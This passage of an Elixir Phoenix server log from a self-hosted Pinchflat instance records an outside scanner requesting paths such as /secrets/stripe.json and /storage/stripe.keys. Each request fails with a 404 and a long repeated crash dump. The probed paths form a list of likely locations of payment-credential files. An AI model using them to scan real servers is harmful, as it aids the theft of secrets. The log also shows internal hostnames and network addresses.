:phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, (truncated) 21:08:44.387 [info] GET /secrets/stripe.json 21:08:44.387 [debug] QUERY OK source="settings" db=0.1ms idle=417.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.388 [debug] QUERY OK source="settings" db=0.1ms idle=417.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.388 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:44.388 [info] GET /backup/stripe.json 21:08:44.388 [debug] QUERY OK source="settings" db=0.1ms idle=138.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.389 [debug] QUERY OK source="settings" db=0.3ms idle=21.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.389 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:44.388 [error] #PID<0.3394.0> running PinchflatWeb.Endpoint (connection #PID<0.3393.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /secrets/stripe.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3393.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets/stripe.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50044}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3394.0>, params: %{}, path_info: ["secrets", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/secrets/stripe.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-wcrhspm1FYAAHSC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3393.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets/stripe.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50044}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3393.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets/stripe.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50044}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3394.0>, params: %{}, path_info: ["secrets", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, (truncated) 21:08:44.390 [error] #PID<0.3396.0> running PinchflatWeb.Endpoint (connection #PID<0.3395.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /backup/stripe.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backup/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3395.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backup/stripe.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50046}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3396.0>, params: %{}, path_info: ["backup", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/backup/stripe.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-wc6zJY7hEcAAQeB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3395.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backup/stripe.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50046}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backup/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3395.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backup/stripe.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50046}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3396.0>, params: %{}, path_info: ["backup", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {" (truncated) 21:08:44.423 [info] GET /storage/stripe.json 21:08:44.423 [debug] QUERY OK source="settings" db=0.1ms idle=56.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.424 [debug] QUERY OK source="settings" db=0.1ms idle=36.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.424 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:44.424 [error] #PID<0.3398.0> running PinchflatWeb.Endpoint (connection #PID<0.3397.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /storage/stripe.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /storage/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3397.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/stripe.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50054}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3398.0>, params: %{}, path_info: ["storage", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/storage/stripe.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-wlQzEi2ZKEAAHUC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3397.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/stripe.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50054}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /storage/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3397.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/stripe.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50054}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3398.0>, params: %{}, path_info: ["storage", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, (truncated) 21:08:44.428 [info] GET /storage/stripe.keys 21:08:44.428 [debug] QUERY OK source="settings" db=0.1ms idle=40.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.428 [debug] QUERY OK source="settings" db=0.1ms idle=39.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.429 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:44.429 [error] #PID<0.3400.0> running PinchflatWeb.Endpoint (connection #PID<0.3399.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /storage/stripe.keys ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /storage/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3399.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/stripe.keys", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50056}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3400.0>, params: %{}, path_info: ["storage", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/storage/stripe.keys", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-wmbGjPxFngAAQgB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3399.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/stripe.keys", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50056}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /storage/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3399.0>, port: 80, scheme: "http", version: 